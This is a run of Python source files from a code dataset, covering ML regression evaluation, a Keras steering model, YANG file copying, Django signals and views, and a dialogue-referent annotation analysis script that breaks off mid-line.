fopOutputItemDetail + file + \"/\"\n fopOutputItemResult = fopOverallResultReg + \"/result/\"\n fopOutputItemChart = fopOverallResultReg + \"/chart/\"\n fpResultAll=fopOutputItemResult+file+'.txt'\n fpImage = fopOutputItemChart + file+'_MAE.png'\n\n\n\n createDirIfNotExist(fopOutputItemDetail)\n # createDirIfNotExist(fopOutputItemEachReg)\n createDirIfNotExist(fopOutputItemResult)\n createDirIfNotExist(fopOutputItemChart)\n # fnAll='_10cv.csv'\n # load data for 10-fold cv\n df_all = pd.read_csv(fpVectorItemReg)\n print(list(df_all.columns.values))\n all_label = df_all['story']\n # all_data = df_all.drop(['label','maxSim','maxSim-r2','maxSim-r3','maxSim-r4','maxSim-p1','maxSim-p2','maxSim-p3','maxSim-p4'],axis=1)\n all_data = df_all.drop(['no','story'],axis=1)\n\n # create a list of classifiers\n random_seed = 100\n # classifiers = [GaussianNB(), LogisticRegression(random_state=random_seed),DecisionTreeClassifier(),\n # RandomForestClassifier(random_state=random_seed, n_estimators=50), AdaBoostClassifier(), LinearDiscriminantAnalysis(),QuadraticDiscriminantAnalysis(),\n # LinearSVC(random_state=random_seed), MLPClassifier(alpha=1), GradientBoostingClassifier(random_state=random_seed, max_depth=5)]\n # RandomForestRegressor(random_state=2, n_estimators=1000),\n classifiers = [DecisionTreeRegressor(),\n AdaBoostRegressor(), xgb.XGBRegressor(objective ='reg:squarederror', colsample_bytree = 0.3, learning_rate = 0.1,\n max_depth = 5, alpha = 10, n_estimators = 10),\n LinearSVR(C=1.0,random_state=random_seed),\n MLPRegressor(alpha=1,hidden_layer_sizes=(5,5)),\n GradientBoostingRegressor(random_state=random_seed, max_depth=3)\n ]\n\n # fit and evaluate for 10-cv\n index = 0\n # group = df_all['label']\n # 'RFR',\n arrClassifierName = ['DTR', 'ABR', 'XGBR', 'LSVR', 'MLPR', 'GBR']\n\n arrXBar = []\n arrMAE = []\n arrStrMAEAvg = []\n arrIndex=[]\n o2=open(fpResultAll,'w')\n o2.close()\n k_fold = StratifiedKFold(10,shuffle=True)\n\n\n\n\n for classifier in classifiers:\n index=index+1\n # try:\n filePredict = ''.join([fopOutputItemDetail, file,'_',arrClassifierName[index-1], '.txt'])\n print(\"********\", \"\\n\", \"10 fold CV Results Regression with: \", str(classifier))\n\n X_train, X_test, y_train, y_test = train_test_split(all_data, all_label, test_size = 0.2,shuffle = False, stratify = None)\n dictReverse={}\n y_train=convertNormalLabelToTopLabel(y_train)\n # print(dictReverse)\n\n # if(index==5):\n # from sklearn.preprocessing import StandardScaler\n # scaler = StandardScaler()\n # scaler.fit(X_train)\n # X_train = scaler.transform(X_train)\n # X_test = scaler.transform(X_test)\n # for num_iteration in range(1, 199):\n # classifier.partial_fit(X_train, y_train)\n # else:\n # classifier.fit(X_train, y_train)\n classifier.fit(X_train, y_train)\n\n predicted = classifier.predict(X_test)\n # abs_predicted=[]\n # for item in predicted:\n # abs_predicted.append(math.fabs(item))\n # predicted=abs_predicted\n\n predicted=convertTopLabelToNormalLabel(predicted)\n # print(predicted)\n # cross_val = cross_val_score(classifier, all_data, all_label, cv=k_fold, n_jobs=1)\n # predicted = cross_val_predict(classifier, all_data, all_label, cv=k_fold)\n # weightAvg = precision_score(all_label, predicted, average='weighted') * 100\n # maeAccuracy = mean_absolute_error(all_label, predicted)\n # mqeAccuracy = mean_squared_error(all_label, predicted)\n maeAccuracy = mean_absolute_error(y_test, predicted)\n mqeAccuracy = mean_squared_error(y_test, predicted)\n # maeAccuracy = mean_absolute_error(all_label, predicted)\n\n print('{:.2f}'.format(maeAccuracy))\n\n np.savetxt(filePredict, predicted, fmt='%s', delimiter=',')\n o2 = open(fpResultAll, 'a')\n o2.write('Result for ' + str(classifier) + '\\n')\n o2.write('MAE {}\\nMQE {}\\n'.format(maeAccuracy,mqeAccuracy))\n\n # o2.write(str(sum(cross_val) / float(len(cross_val))) + '\\n')\n # o2.write(str(confusion_matrix(all_label, predicted)) + '\\n')\n # o2.write(str(classification_report(all_label, predicted)) + '\\n')\n o2.close()\n\n strClassX = str(arrClassifierName[index - 1])\n arrIndex.append(index)\n arrXBar.append(strClassX)\n arrMAE.append(maeAccuracy)\n arrStrMAEAvg.append('{:.2f}'.format(maeAccuracy))\n # break\n # except Exception as inst:\n # print(\"Error \", index)\n # print(type(inst)) # the exception instance\n # print(inst.args) # arguments stored in .args\n # print(inst)\n\n arrAlgm = np.array(arrMAE)\n bestMAE=np.amax(arrAlgm)\n worstMAE=np.amin(arrAlgm)\n avgMAE=np.average(arrAlgm)\n maxIndexMAE= np.argmax(arrAlgm)\n minIndexMAE = np.argmin(arrAlgm)\n\n print(maxIndexMAE)\n o3=open(fpMAEMax,'a')\n o3.write('{}\\t{}\\t{}\\n'.format(file, arrClassifierName[maxIndexMAE], bestMAE))\n o3.close()\n\n o3 = open(fpMAEMin, 'a')\n o3.write('{}\\t{}\\t{}\\n'.format(file, arrClassifierName[minIndexMAE], worstMAE))\n o3.close()\n\n o3 = open(fpMAEAvg, 'a')\n o3.write('{}\\t{}\\n'.format(file, avgMAE))\n o3.close()\n\n\n y_pos = np.arange(len(arrXBar))\n plt.bar(y_pos, arrMAE, align='center', alpha=0.5)\n plt.xticks(y_pos, arrIndex, rotation=90)\n plt.rcParams[\"figure.figsize\"] = (40, 40)\n plt.ylabel('MAE Accuracy')\n plt.ylim(0, 10)\n for i in range(len(arrMAE)):\n plt.text(x=i - 0.5, y=arrMAE[i] + 1, s=arrStrMAEAvg[i])\n plt.text(x=i, y=arrMAE[i] - 1, s=arrXBar[i], rotation=90)\n\n plt.title(fpResultAll)\n plt.savefig(fpImage)\n plt.clf()","sub_path":"devItems/spring-2020/SEEAccuracyImprove/duracloud/step2_MLRegression_text.py","file_name":"step2_MLRegression_text.py","file_ext":"py","file_size_in_byte":9639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"526040909","text":"import time\nimport tensorflow as tf\nfrom keras.models import load_model\nfrom keras.models import Sequential\nfrom keras.layers import Flatten, Dense, Lambda, Dropout, Cropping2D\nfrom keras.layers.convolutional import Conv2D\nfrom keras.optimizers import Adam\nfrom keras import backend as K\nfrom keras import __version__ as keras_version\nimport h5py\nimport cv2\nimport csv\nimport os\n\nclass Model:\n def __init__(self, model_path, width=64, height=64, log_metrics=False):\n self.startTime = time.time()\n self.model_path = model_path\n self.width = width\n self.height = height\n self.imshape = (height, width, 3)\n\n # parameters\n self.tf_session = K.get_session()\n self.tf_graph = self.tf_session.graph\n self.lr = 0.00001\n self.epsilon = 1e-08\n\n # logger\n self.log_metrics = log_metrics\n if self.log_metrics:\n (path, modelinstance) = os.path.split(model_path)\n self.log_filename = os.path.join(path, \"training-progress.csv\")\n self.log_fields = ['session', 'testing', 'lap_timestep', 'training_sample', 'acte', 'mse', 'success', 'x', 'y']\n self.log_file = open(self.log_filename, 'w')\n self.log_writer = csv.DictWriter(self.log_file, fieldnames=self.log_fields)\n self.log_writer.writeheader()\n\n def create(self):\n with self.tf_session.as_default():\n with self.tf_graph.as_default():\n self.kmodel = Sequential()\n self.kmodel.add(Lambda(lambda x: ((x/255.0)-0.5), input_shape=self.imshape, name='lambda'))\n self.kmodel.add(Conv2D(filters=24, kernel_size=(5, 5), strides=[2,2], padding='valid', activation='elu', name='conv1'))\n self.kmodel.add(Conv2D(filters=36, kernel_size=(5, 5), strides=[2,2], padding='valid', activation='elu', name='conv2'))\n self.kmodel.add(Conv2D(filters=48, kernel_size=(5, 5), strides=[2,2], padding='valid', activation='elu', name='conv3'))\n self.kmodel.add(Conv2D(filters=64, kernel_size=(3, 3), strides=[1,1], padding='valid', activation='elu', name='conv4'))\n self.kmodel.add(Conv2D(filters=64, kernel_size=(3, 3), strides=[1,1], padding='valid', activation='elu', name='conv5'))\n self.kmodel.add(Flatten(name='flat'))\n self.kmodel.add(Dense(units=100, activation='elu', name='dense1'))\n self.kmodel.add(Dense(units=50, activation='elu', name='dense2'))\n self.kmodel.add(Dense(units=1, name='output'))\n adam = Adam(lr=self.lr, beta_1=0.9, beta_2=0.999, epsilon=self.epsilon, decay=0.0)\n self.kmodel.compile(optimizer=adam, loss=\"mse\")\n self.kmodel.summary()\n\n def load(self):\n global keras_version\n # check that model Keras version is same as local Keras version\n f = h5py.File(self.model_path, mode='r')\n model_version = f.attrs.get('keras_version')\n keras_version = str(keras_version).encode('utf8')\n\n if model_version != keras_version:\n print('You are using Keras version ', keras_version,\n ', but the model was built using ', model_version)\n self.tf_session = K.get_session()\n self.tf_graph = self.tf_session.graph\n with self.tf_session.as_default():\n with self.tf_graph.as_default():\n self.kmodel = load_model(self.model_path)\n\n def save(self, session):\n modelFile = self.model_path.format(session)\n print(\"Saving model to disk: \",modelFile)\n self.kmodel.save(modelFile)\n\n def preprocess(self, image):\n # get shape and chop off 1/3 from the top and 1/5 from the bottom\n shape = image.shape\n # note: numpy arrays are (row, col)!\n image = image[shape[0]//3:shape[0]-shape[0]//5,:,:]\n return cv2.resize(image, (self.height, self.width), interpolation=cv2.INTER_AREA)\n\n # Define a function that trains an agent in an event loop\n def predict(self, image):\n # store experience from last action\n value = 0.\n try:\n with self.tf_session.as_default():\n with self.tf_graph.as_default():\n value = self.kmodel.predict(image, batch_size=1)\n except:\n pass\n return float(value)\n\n # Define a function that collect metrics from training sessions\n def log(self, session, testing, lap_timestep, training_sample, acte, mse, success, x, y):\n if self.log_metrics:\n self.log_writer.writerow({\n 'session': session,\n 'testing': testing,\n 'lap_timestep': lap_timestep,\n 'training_sample': training_sample,\n 'acte': acte,\n 'mse': mse,\n 'success': success,\n 'x': x,\n 'y': y\n })\n\n # Define a function that close the training sessions\n def close_log(self):\n if self.log_metrics:\n self.log_file.close()\n","sub_path":"gen1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"206596812","text":"\"\"\"\nThis script needs to be run once before populate.py is used.\nAll modules copied into the save-file-dir.\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport shutil\n\nfrom sandbox import constants\nfrom utility.create_config import create_config\nfrom utility.util import parse_name, parse_revision, strip_comments\n\n\ndef main(directory: str):\n config = create_config()\n cache_dir = config.get('Directory-Section', 'cache')\n save_file_dir = config.get('Directory-Section', 'save-file-dir')\n\n new_copied_modules_paths = []\n for root, _, files in os.walk(directory):\n abs_root = os.path.abspath(root)\n for file in files:\n path = os.path.join(abs_root, file)\n if not file.endswith('.yang') or os.path.islink(path):\n continue\n with open(path) as f:\n text = f.read()\n text = strip_comments(text)\n name = parse_name(text)\n revision = parse_revision(text)\n filename = f'{name}@{revision}.yang'\n save_file_path = os.path.join(save_file_dir, filename)\n if not os.path.exists(save_file_path):\n shutil.copy(path, save_file_path)\n new_copied_modules_paths.append(save_file_path)\n\n with open(os.path.join(cache_dir, constants.NEW_COPIED_MODULES_PATHS_FILENAME), 'w') as f:\n json.dump(new_copied_modules_paths, f)\n\n\nif __name__ == '__main__':\n argument_parser = argparse.ArgumentParser(description=__doc__)\n argument_parser.add_argument(\n 'directory',\n type=str,\n help='Directory to search for yang files.',\n )\n args = argument_parser.parse_args()\n main(args.directory)\n","sub_path":"sandbox/save_yang_files.py","file_name":"save_yang_files.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"157249696","text":"import json\nimport logging; logger = logging.getLogger(__name__)\n\nfrom django.conf import settings\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nfrom .models import (\n Confirmation,\n Dispute,\n Juror,\n JurorId,\n JurorIdState,\n JurorSelection,\n JurorState,\n NotificationType,\n NotificationChannel,\n Notification,\n Ruling\n)\nfrom .tasks import (\n dispute_juror_confirmed,\n dispute_vote_completed,\n dispute_select_jurors,\n send_notification\n)\n\n\n@receiver(post_save, sender=Dispute)\ndef on_new_dispute(sender, **kwargs):\n if not kwargs.get('created', False): return False\n dispute = kwargs.get('instance', None)\n if dispute is not None:\n logger.info('Schedule juror selection task for dispute:%d' % (\n dispute.id))\n dispute_select_jurors.delay(dispute_id=dispute.id)\n\n\n@receiver(post_save, sender=JurorSelection)\ndef on_new_confirm(sender, **kwargs):\n selection = kwargs.get('instance', None)\n if selection and selection.confirm != Confirmation.unknown.value:\n logger.info('on_new_confirm')\n # Check if we received all confirmation\n no_confirm_count = (JurorSelection.objects\n .filter(dispute=selection.dispute)\n .filter(confirm=Confirmation.unknown.value)\n .count())\n if no_confirm_count == 0:\n # Next, check if it reaches numberJurorsRequired\n positive_confirm_count = (JurorSelection.objects\n .filter(dispute=selection.dispute)\n .filter(confirm=Confirmation.confirmed.value)\n .count())\n if (positive_confirm_count >=\n selection.dispute.number_jurors_required):\n dispute_juror_confirmed.delay(selection.dispute.id)\n\n\n@receiver(post_save, sender=JurorSelection)\ndef on_new_vote(sender, **kwargs):\n selection = kwargs.get('instance', None)\n if selection and selection.vote != Ruling.unknown.value:\n logger.info('on_new_vote')\n # Check if we can resolve the Dispute early\n no_vote_count = (JurorSelection.objects\n .filter(dispute=selection.dispute)\n .filter(vote=Ruling.unknown.value)\n .count())\n if no_vote_count == 0:\n logger.info('All votes collected, resolve Dispute(%d) early' % (\n selection.dispute.id))\n dispute_vote_completed.delay(selection.dispute.id)\n\n\n@receiver(post_save, sender=Juror)\ndef on_new_juror(sender, **kwargs):\n if not kwargs.get('created', False): return False\n juror = kwargs.get('instance', None)\n if juror and (\n juror.state == JurorState.primary_account_unverified.value):\n logger.info('New juror created, send email verification')\n notification = Notification(juror=juror,\n notification_type=NotificationType.account_verification.value,\n notification_channel=NotificationChannel.email.value)\n notification.save()\n\n\n@receiver(post_save, sender=JurorId)\ndef on_new_kyc(sender, **kwargs):\n if not kwargs.get('created', False): return False\n jurorid = kwargs.get('instance', None)\n if jurorid and (\n jurorid.state == JurorIdState.in_review.value):\n logger.info('New Juror ID created, send acknowledge email')\n notification = Notification(juror=jurorid.juror,\n notification_type=NotificationType.kyc_received.value,\n notification_channel=NotificationChannel.email.value)\n notification.save()\n\n\n@receiver(post_save, sender=JurorId)\ndef on_kyc_review(sender, **kwargs):\n if kwargs.get('created', False): return False\n jurorid = kwargs.get('instance', None)\n if not jurorid: return False\n notification = None\n if jurorid.state == JurorIdState.approved.value:\n logger.info('on_kyc_review approved')\n (Juror.objects\n .filter(pk=jurorid.juror.id)\n .filter(state=JurorState.kyc_in_review.value)\n .update(state=JurorState.pass_kyc.value))\n notification = Notification(\n juror=jurorid.juror,\n notification_type=NotificationType.kyc_approved.value,\n notification_channel=NotificationChannel.email.value)\n elif jurorid.state == JurorIdState.rejected.value:\n logger.info('on_kyc_review rejected')\n (Juror.objects\n .filter(pk=jurorid.juror.id)\n .filter(state=JurorState.kyc_in_review.value)\n .update(state=JurorState.pre_kyc.value))\n payload = json.dumps(dict(reject_note=jurorid.note))\n notification = Notification(\n juror=jurorid.juror,\n notification_type=NotificationType.kyc_rejected.value,\n notification_channel=NotificationChannel.email.value,\n payload=payload)\n else:\n logger.debug('No action on JurorId state: %s' % (\n JurorIdState(jurorid.state).name))\n\n if notification is not None:\n notification.save()\n\n\n@receiver(post_save, sender=Notification)\ndef on_new_notification(sender, **kwargs):\n if not kwargs.get('created', False): return False\n notification = kwargs.get('instance', None)\n if notification and (not notification.is_sent):\n logger.info('Schedule notification task for notification:%d' % (\n notification.id))\n if settings.DEBUG:\n send_notification(notification_id=notification.id)\n else:\n send_notification.delay(notification_id=notification.id)\n","sub_path":"oathprotocol/court/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":5592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"576262610","text":"from django.shortcuts import render\nfrom django.core import serializers\nfrom django.http import HttpResponse, JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom backend.models import Boxscores\nimport json\n\n# Create your views here.\n@csrf_exempt\ndef dbQuery (request):\n queryData = json.load(request)\n print(queryData)\n print(queryData.get('name'))\n print(queryData.get('startDate'))\n print(queryData.get('endDate'))\n print(queryData.get('playerID'))\n\n queryResults = Boxscores.objects.filter(name = queryData.get('name'),\n date__lte= queryData.get('endDate'), \n date__gte= queryData.get('startDate'),\n )\n\n\n print (str(len(queryResults)))\n print(queryResults[0].name + \" \" + str(queryResults[0].pts) + \" \" + str(queryResults[0].date))\n print(queryResults[1].name + \" \" + str(queryResults[1].pts) + \" \" + str(queryResults[1].date))\n jsonReply = serializers.serialize(\"json\", queryResults)\n return JsonResponse(jsonReply, safe=False)\n\n# def ScrapeRoto(request):\n# print (\"we get into scrapeRoto in view.py\")\n# ## in here we'll need the function to call the scraper\n# ## functions and get periodic results to push back to the front end\n\n# # for now, let's just handle the request for the websocket and \n# # make sure it works with only a timer \n# return JsonResponse(request, safe=False)\n","sub_path":"nba_back/backend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"414781199","text":"from urllib.parse import urljoin\n\nfrom django.conf import settings\nfrom django.urls import reverse as reverse_org\n\n\ndef reverse(viewname, urlconf=None, args=None, kwargs=None, current_app=None):\n \"\"\" Reverse url, but try to use subdomain to designate site where possible.\n This means 'site1' will not get url 'hostname/site/site1' but rather\n 'challenge.hostname'\n \"\"\"\n if args is not None:\n challenge_short_name = args[0]\n elif kwargs is not None and \"challenge_short_name\" in kwargs:\n challenge_short_name = kwargs[\"challenge_short_name\"]\n else:\n challenge_short_name = None\n\n if settings.SUBDOMAIN_IS_PROJECTNAME and challenge_short_name:\n\n protocol, domainname = settings.MAIN_HOST_NAME.split(\"//\")\n\n base_url = f\"{protocol}//{challenge_short_name}.{domainname}\".lower()\n\n site_url = reverse_org(\n \"challenge-homepage\", args=[challenge_short_name]\n )\n\n target_url = reverse_org(\n viewname,\n urlconf=urlconf,\n args=args,\n kwargs=kwargs,\n current_app=current_app,\n )\n\n if target_url.startswith(site_url):\n target_url = target_url.replace(site_url, \"/\")\n\n return urljoin(base_url, target_url)\n\n else:\n return reverse_org(\n viewname,\n urlconf=urlconf,\n args=args,\n kwargs=kwargs,\n current_app=current_app,\n )\n","sub_path":"app/grandchallenge/core/urlresolvers.py","file_name":"urlresolvers.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"569256410","text":"import argparse\nimport copy\nimport json\nimport os\nimport pickle\nimport re\nimport sys\nimport traceback\nfrom collections import Counter, defaultdict\nimport glob\nimport itertools\n\nfrom nltk import word_tokenize, pos_tag, bigrams\nfrom nltk.parse import CoreNLPParser, CoreNLPDependencyParser\nfrom mosestokenizer import MosesTokenizer, MosesDetokenizer\nimport editdistance\n\nimport pdb\nimport numpy as np\n\nfrom tqdm import tqdm\n\nfrom minimal_misspelling_dict import misspelling_dict\nfrom minimal_replacement_dict import replacement_dict\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import cm\nimport seaborn as sns\nsns.set(font_scale=1.15)\n\nvocab = Counter()\npos = Counter()\nnoun_phrase = Counter()\n\nfixed_misspellings = 0\nreplaced_strings = 0\nnormalized_vocabs = 0\n\nPUNCTUATION = ['’', '_', \"'\", '<', '*', '\\\\', '$', '%', '\"', ')', '+', '.', '(', '!', ',', ']', '[', '@', '~', '#', ':', '&', ' ', '>', '-', '=', ';', '/', '?']\n\n# create new misspelling dictionary for minimal preprocessing\nminimal_misspelling_dict = {}\nfor misspelling, correct_spelling in misspelling_dict.items():\n\tif isinstance(correct_spelling, str):\n\t\tminimal_misspelling_dict[misspelling] = correct_spelling\n\t\tminimal_misspelling_dict[misspelling.upper()] = correct_spelling.upper()\n\t\tminimal_misspelling_dict[misspelling.capitalize()] = correct_spelling.capitalize()\n\telse:\n\t\tminimal_misspelling_dict[misspelling] = \" \".join(correct_spelling)\n\t\tminimal_misspelling_dict[misspelling.upper()] = \" \".join(correct_spelling).upper()\n\t\tminimal_misspelling_dict[misspelling.capitalize()] = \" \".join(correct_spelling).capitalize()\n\n#DETOKENIZE = [\".\", \",\", \"?\", \"!\", \"'s\", \"n't\", \"'ve\", \"'re\", \"'m\", \"'ll\", \"'d\"] # TODO: make sure this is complete\n\ndef is_annotatable_markable(markable):\n if markable[\"generic\"] or markable[\"no-referent\"] or markable[\"all-referents\"] or (markable[\"anaphora\"] is not None) or (markable[\"cataphora\"] is not None) or (markable[\"predicative\"] is not None):\n return False\n else:\n return True\n\nclass Tags:\n\t@classmethod\n\tdef Input(x):\n\t\treturn [\"\"] + x + [\"\"]\n\tContext = \"input\"\n\tDialogue = \"dialogue\"\n\tOutput = \"output\"\n\tPartnerContext = \"partner_input\"\n\nclass Markable:\n\tdef __init__(self, markable_id, label, text, start, end):\n\t\tself.markable_id = markable_id\n\t\tself.label = label # \"Markable\" or \"None\"\n\t\tself.text = text\n\t\tself.start = start\n\t\tself.end = end\n\n\t\t# attributes\n\t\tself.no_referent = False\n\t\tself.all_referents = False\n\t\tself.generic = False\n\n\t\t# relations\n\t\tself.anaphora = None\n\t\tself.cataphora = None\n\t\tself.predicative = None\n\n\t\tself.fixed_text = None\n\t\tself.speaker = None\n\ndef read_json(path):\n try:\n return json.load(open(path))\n except:\n raise Exception('Error reading JSON from %s' % path)\n\ndef dump_json(file, path):\n try:\n \twith open(path, \"w\") as fout:\n\t json.dump(file, fout, indent=4, sort_keys=True)\n except:\n raise Exception('Error writing JSON to %s' % path)\n\ndef hasNumbers(inputString):\n\treturn any(char.isdigit() for char in inputString)\n\ndef plot_referent_color(args, dialogue_corpus):\n\tmarkable_annotation = read_json(\"markable_annotation.json\")\n\treferent_annotation = read_json(args.referent_annotation)\n\taggregated_referent_annotation = read_json(\"aggregated_referent_annotation.json\")\n\tchat_ids = list(referent_annotation.keys())\n\n\ttext2color = defaultdict(list)\n\n\tfor dialogue in dialogue_corpus:\n\t\tchat_id = dialogue[\"uuid\"]\n\t\tif not chat_id in markable_annotation:\n\t\t\tcontinue\n\t\telse:\n\t\t\tmarkables = markable_annotation[chat_id]\n\t\tif not chat_id in aggregated_referent_annotation:\n\t\t\tcontinue\n\n\t\tagent_0_kb, agent_1_kb = dialogue[\"scenario\"][\"kbs\"]\n\t\tent_id2color = {x['id'] : int(x['color'].split(',')[1]) for x in agent_0_kb + agent_1_kb}\n\n\t\tfor markable in markables[\"markables\"]:\n\t\t\tmarkable_id = markable[\"markable_id\"]\n\t\t\tspeaker = markable[\"speaker\"]\n\t\t\tif markable_id not in aggregated_referent_annotation[chat_id]:\n\t\t\t\tcontinue\n\t\t\tif not \"unidentifiable\" in aggregated_referent_annotation[chat_id][markable_id] or not aggregated_referent_annotation[chat_id][markable_id][\"unidentifiable\"]:\n\t\t\t\tfor referent in referent_annotation[chat_id][markable_id][\"referents\"]:\n\t\t\t\t\treferent_id = referent.split(\"_\")[2]\n\t\t\t\t\treferent_color = ent_id2color[referent_id]\n\t\t\t\t\tmarkable_unigrams = [w.lower() for w in word_tokenize(markable[\"text\"])]\n\t\t\t\t\tmarkable_bigrams = list((bigrams(markable_unigrams)))\n\t\t\t\t\tif \"black\" in markable_unigrams:\n\t\t\t\t\t\ttext2color[\"black\"].append(referent_color)\n\t\t\t\t\telif (\"very\", \"dark\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"extremely\", \"dark\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"super\", \"dark\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"really\", \"dark\") in markable_bigrams:\n\t\t\t\t\t\ttext2color[\"very dark\"].append(referent_color)\n\t\t\t\t\telif (\"very\", \"light\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"extremely\", \"light\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"super\", \"light\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"really\", \"light\") in markable_bigrams:\n\t\t\t\t\t\ttext2color[\"very light\"].append(referent_color)\n\t\t\t\t\telif (\"medium\", \"gray\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"medium\", \"grey\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"medium\", \"dark\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"medium\", \"shade\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"medium\", \"colored\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"med\", \"gray\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"med\", \"grey\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"med\", \"dark\") in markable_bigrams:\n\t\t\t\t\t\ttext2color[\"medium\"].append(referent_color)\n\t\t\t\t\telif \"light\" in markable_unigrams:\n\t\t\t\t\t\ttext2color[\"light\"].append(referent_color)\n\t\t\t\t\telif \"dark\" in markable_unigrams:\n\t\t\t\t\t\ttext2color[\"dark\"].append(referent_color)\n\t\t\t\t\telif \"darker\" in markable_unigrams:\n\t\t\t\t\t\ttext2color[\"darker\"].append(referent_color)\n\t\t\t\t\telif \"darkest\" in markable_unigrams:\n\t\t\t\t\t\ttext2color[\"darkest\"].append(referent_color)\n\t\t\t\t\telif \"lighter\" in markable_unigrams:\n\t\t\t\t\t\ttext2color[\"lighter\"].append(referent_color)\n\t\t\t\t\telif \"lightest\" in markable_unigrams:\n\t\t\t\t\t\ttext2color[\"lightest\"].append(referent_color)\n\t\t\t\t\telif \"gray\" in markable_unigrams \\\n\t\t\t\t\t\tor \"grey\" in markable_unigrams:\n\t\t\t\t\t\ttext2color[\"gray\"].append(referent_color)\n\n\tplot_colors = sns.color_palette(\"hls\", 11)\n\tfor i, color in enumerate([\"black\", \"very dark\", \"darkest\", \"dark\", \"darker\", \"medium\", \"gray\", \"lighter\", \"light\", \"lightest\", \"very light\"]):\n\t\tprint(\"{}: mean {}, std {} (total {})\".format(color, np.mean(text2color[color]), np.std(text2color[color]), len(text2color[color])))\n\t\tsns.distplot(text2color[color], hist=False, color=plot_colors[i], label=color)\n\tplt.xlabel('color', fontsize=16)\n\tplt.ylabel('probability density', fontsize=16)\n\tplt.legend(fontsize='x-small')\n\tplt.tight_layout()\n\tplt.savefig(args.referent_annotation.split(\".\")[0] + '_color.png', dpi=400)\n\tplt.clf()\n\n\ndef plot_referent_size(args, dialogue_corpus):\n\tmarkable_annotation = read_json(\"markable_annotation.json\")\n\treferent_annotation = read_json(args.referent_annotation)\n\tchat_ids = list(referent_annotation.keys())\n\n\ttext2size = defaultdict(list)\n\n\tfor dialogue in dialogue_corpus:\n\t\tchat_id = dialogue[\"uuid\"]\n\t\tif not chat_id in markable_annotation:\n\t\t\tcontinue\n\t\telse:\n\t\t\tmarkables = markable_annotation[chat_id]\n\t\tif not chat_id in referent_annotation:\n\t\t\tcontinue\n\n\t\tagent_0_kb, agent_1_kb = dialogue[\"scenario\"][\"kbs\"]\n\t\tent_id2size = {x['id'] : x['size'] for x in agent_0_kb + agent_1_kb}\n\n\t\tfor markable in markables[\"markables\"]:\n\t\t\tmarkable_id = markable[\"markable_id\"]\n\t\t\tspeaker = markable[\"speaker\"]\n\t\t\tif markable_id not in referent_annotation[chat_id]:\n\t\t\t\tcontinue\n\t\t\tif not \"unidentifiable\" in referent_annotation[chat_id][markable_id] or not referent_annotation[chat_id][markable_id][\"unidentifiable\"]:\n\t\t\t\tfor referent in referent_annotation[chat_id][markable_id][\"referents\"]:\n\t\t\t\t\treferent_id = referent.split(\"_\")[2]\n\t\t\t\t\treferent_size = ent_id2size[referent_id]\n\t\t\t\t\tmarkable_unigrams = [w.lower() for w in word_tokenize(markable[\"text\"])]\n\t\t\t\t\tmarkable_bigrams = list((bigrams(markable_unigrams)))\n\t\t\t\t\tif \"largest\" in markable_unigrams \\\n\t\t\t\t\t\tor \"biggest\" in markable_unigrams:\n\t\t\t\t\t\ttext2size[\"largest\"].append(referent_size)\n\t\t\t\t\tif \"larger\" in markable_unigrams \\\n\t\t\t\t\t\tor \"bigger\" in markable_unigrams:\n\t\t\t\t\t\ttext2size[\"larger\"].append(referent_size)\n\t\t\t\t\tif (\"very\", \"large\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"very\", \"big\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"extremely\", \"large\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"extremely\", \"big\") in markable_bigrams:\n\t\t\t\t\t\ttext2size[\"very large\"].append(referent_size)\n\t\t\t\t\telif (\"slightly\", \"large\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"slightly\", \"big\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"bit\", \"big\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"bit\", \"large\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"subtly\", \"large\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"subtly\", \"big\") in markable_bigrams:\n\t\t\t\t\t\ttext2size[\"slightly large\"].append(referent_size)\n\t\t\t\t\telif \"large\" in markable_unigrams \\\n\t\t\t\t\t\tor \"big\" in markable_unigrams:\n\t\t\t\t\t\ttext2size[\"large\"].append(referent_size)\n\t\t\t\t\tif (\"medium\", \"size\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"medium\", \"sized\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"med\", \"size\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"med\", \"sized\") in markable_bigrams:\n\t\t\t\t\t\ttext2size[\"medium\"].append(referent_size)\n\t\t\t\t\tif (\"very\", \"small\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"very\", \"tiny\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"extremely\", \"small\") in 